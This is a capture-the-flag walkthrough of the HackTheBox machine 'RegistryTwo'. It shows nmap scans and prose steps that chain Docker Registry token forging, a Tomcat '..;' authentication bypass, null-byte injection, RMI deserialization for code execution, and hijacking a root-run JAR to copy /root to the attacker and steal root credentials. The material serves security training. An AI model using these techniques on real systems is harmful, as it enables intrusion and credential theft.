RegistryTwo

Gaining Access

Nmap scan:

$ nmap -p- --min-rate 4000 10.129.172.95                              
Starting Nmap 7.93 ( https://nmap.org ) at 2023-07-28 12:25 +08
Nmap scan report for 10.129.172.95
Host is up (0.0064s latency).
Not shown: 65531 filtered tcp ports (no-response)
PORT     STATE SERVICE
22/tcp   open  ssh
443/tcp  open  https
5000/tcp open  upnp
5001/tcp open  commplex-link

Port 5000 is for Docker Registry based on Hacktricks. I did a detailed scan as well:

$ nmap -p 443,5000,5001 -sC -sV --min-rate 5000 10.129.172.95         
Starting Nmap 7.93 ( https://nmap.org ) at 2023-07-28 12:27 +08
Nmap scan report for 10.129.172.95
Host is up (0.0067s latency).

PORT     STATE SERVICE            VERSION
443/tcp  open  ssl/http           nginx 1.14.0 (Ubuntu)
|_http-server-header: nginx/1.14.0 (Ubuntu)
| ssl-cert: Subject: organizationName=free-hosting/stateOrProvinceName=Berlin/countryName=DE
| Not valid before: 2023-02-01T20:19:22
|_Not valid after:  2024-02-01T20:19:22
|_ssl-date: TLS randomness does not represent time
|_http-title: Did not follow redirect to https://www.webhosting.htb/
5000/tcp open  ssl/http           Docker Registry (API: 2.0)
|_http-title: Site doesn't have a title.
| ssl-cert: Subject: commonName=*.webhosting.htb/organizationName=Acme, Inc./stateOrProvinceName=GD/countryName=CN
| Subject Alternative Name: DNS:webhosting.htb, DNS:webhosting.htb
| Not valid before: 2023-03-26T21:32:06
|_Not valid after:  2024-03-25T21:32:06
5001/tcp open  ssl/commplex-link?

We can take note of the webhosting.htb domain and add it to the /etc/hosts file.

Initial Enumeration -> Fuzz Params

We have to add www.webhosting.htb to our /etc/hosts file to view the HTTPS application:

We can try registering a user and logging in.

Using this, we have the ability to create new subdomains:

Visiting this reveals a simple HTML page:

Since this machine is Docker related, the web application might be creating a Docker container for each new subdomain that we create. As such, we can focus a bit more on port 5000.

Logo5000 - Pentesting Docker Registry - HackTricksbook.hacktricks.xyz
LogoGitHub - Syzik/DockerRegistryGrabber: Enumerate / Dump Docker RegistryGitHub

When using DockerGraber.py, I got an unauthorized error:

Turns out that we need some credentials to access the API:

Interesting, because port 5001 shows an Auth Server we can fuzz next:

A quick directory scan reveals that /auth is a valid directory, and visiting it just returns access tokens:

The tokens were pretty plain, nothing interesting in it. Within the token there was an access field that was empty:

When looking at the Hacktricks page, the Authorization error seems to be something like this:

However, in my case the detail variable has been set to null, even when I send this token in as part of either the Cookie or Authorization: Bearer headers. Perhaps we need to specify the service that we want or something.

Based on this, I started to fuzz the parameters that we could send with this link with wfuzz:

Out of all the outputs, account and service had the greatest deviation from the rest of them, indicating that a completely different token was generated. account just requested us to login via HTTP, while the service one was interesting. Seems that it changes the aud parameter.

Based on this, we can fuzz further for other parameters as I want to change the access portion and see if we can access other resources.

Seems that scope is the next parameter.

There's a valid scope to enter. The normal error message included 3 parameters:

Based on this error, it might be looking for these 3 parameters. After some testing, I found that scope=registry:catalog:* returned a valid token:

Now we need to experiment with what's the right aud parameter to stop getting an error. I found that specifying Docker+registry worked and I didn't get an error on port 5000:

API Fuzz -> Dump Repository

Visiting v2/_catalog returned one repository:

Attempting to dump the repository using the same token results in an error:

We can change the token to have scope=repository:hosting-app:pull and try again:

Visiting /manifests/latest reveals a lot of information like blobSum and what not. Based on this, we can modify DockerGraber.py to include this token and dump everything from it using that. Here's my modified script:

This would generate loads of tar files from the repository we pulled:

Source Code Review -> Tomcat Bypass

The first file contained some SQL credentials, and mention of RMI:

We can extract the rest of the files with:

Within the /usr/local/tomcat/webapps/ folder, there's some source code for the web application:

The source code seems to be compiled within the .war file. We can decompile this online or jd-gui.

There's a lot to look through here. Within the ConfigurationServlet.class file, there's a check on whether we are a manager on the website:

Within RMIClientWrapper.class, there's mention of other hostnames as well:

And this has to do with the FileService somehow.

We need a way to modify our session to become an Administrator. Since this is Tomcat, I found this page detailing how it is possible to become an administrator:

LogoApache Tomcat examples directory vulnerabilities - Vulnerabilities - AcunetixAcunetix

Took me about 1 hour before realising that the ..; Tomcat auth bypass works here:

Using this, we can locate the SessionExample page:

Using this, we can set the s_IsLoggedInUserRoleManager session attribute to true. Afterwards, we would gain access to the reconfiguration panel.

More Reviewing -> RMIClient LFI

The key question in my head was around the rmiHost parameter and where we had to use it. Since we had access to the Reconfigure panel as the manager of the site, this only gave us one more thing to work with, which was this panel:

By default, the HTTP request for this only includes the domains.max and domains.start-template parameters. Within the ConfigurationServlet.class file however, it shows that sending POST requesst to this updates the Settings variable using a hashmap.

The code for the RMI portion takes the rmi.host parameter from the Settings variable and checks for whether it contains the .htb string. We can try to specify our IP address and bypass the check using a null byte.

Here's the request:

The code makes a connection to port 9002 using the RMI service. As such, we can create an RMI server and listen on that port. Googling for exploits shows a CTF Writeup where deserialisation was used to achieve RCE on the remote server.

LogoCTFtime.org / Real World CTF 2018 Finals / RMI / WriteupCTFtime

I didn't have anything else I could do, so I tried it using the different CommonsCollections there were within ysoserial.

After sending the boave request, we need a method of which to trigger the exploit. From looking at service and our limited stuff, I honestly randomly clicked around the website, and found that by visiting the existing domain created, it triggers the exploit:

App -> RMI Client -> Read User Creds

This shell was within a very restricted docker container. Checking the services present, we can see that there are loads of other ports:

These other ports might be run by a user on the main machine. The most interesting thing was port 9002 which was listening within the container.

The idea of FileService was still present in my head. Perhaps there was a way to interact with the actual service that was listening on port 9002 reachable from this container, since we injected code into the rmi.host parameter to get this shell in the first place. I took another look at the source code for the FileService.class file:

Problem is, there's no actual code present that would interact with the service. Based on the functions available, we should be able to use the getFile method to read stuff from the directory using a custom client that we can create using all the code present.

Code is at the end of the writeup.

I took these files:

  • AbstractFile.class

  • FileService.class

  • RMIClientWrapper.class and modified it such that I can specify the file that I want to read.

Afterwards, I compiled the code within com/htb/hosting/rmi to be consistent with the package variable I used.

Then, we need to forward port 9002 using chisel. I did my initial testing, and realised that we need to include the CryptUtil.class files since the service seems to expect an encrypted path.

Afterwards, we can compile and run the RMIClient code and find that it works in listing directories and reading files! Reading /etc/passwd just shows us that developer is a user on the machine, and the user's directory contains some useful information.

With that password, we can ssh in as the developer user:

Privilege Escalation

Pspy -> JAR File Analysis

I ran pspy64 on the machine, and found that the root user was running a .jar file:

We can transfer this back to our machine using scp and use any Java decompiler to view the code:

I first saw that this thing opens port 9002 again to run the service:

Afterwards, files scanned that are flagged as malicious are quarantined in a separate directory. The system contains a /quarantine directory which we have read access to. Afterwards, this thing also opens a listener port based on the configuration:

When checking the open ports on the machine, there are a few:

There's also a registry.jar present in the /opt directory of the machine:

Extracting from this file reveals that it contains the configurations that we need:

Hijack Configuration -> Read Root Creds

Since root is executing the quarantine.jar file, and the quarantine has to scan all of the files present within a specified directory, we can modify it such that it is able to read and copy the entire /root directory, which includes the flag.

Here are the parameters we can change:

  • quarantineDirectory = /quarantine

  • monitorDirectory = /root

  • clamHost = Our IP

  • clamPort = Our port

  • clamTimeout = Any arbitrary number (I set it at 2000)

We can modify the QuarantineServiceImpl.class file as such:

Then, we can recompile this file and the rest of the .jar:

Then, we need to keep running the code to hijack port 9002 and continuously listen on our own port 4444. The reason we need to do this is because:

  • Port 9002 is already used within the machine and we want to hijack it whenever possible, which can take a while since it is always being used by root.

  • The listener port must be activated multiple times because once it captures a request, the scan would not continue for the rest of the files. By having it continuously executed, it allows for scanning of multiple files.

Eventually, we'll see this on the registry machine:

There'll also be a lot of hits on our listener port as it moves all the files from /root to the /quarantine folder. We will eventually find a _root_.git-credentials file:

We can then su to root:

Final RMIClient Code

This is not my code. I had help from another user for this machine because I was stuck. However, I did learn a lot from this code.

PreviousReboundNextSandworm

Last updated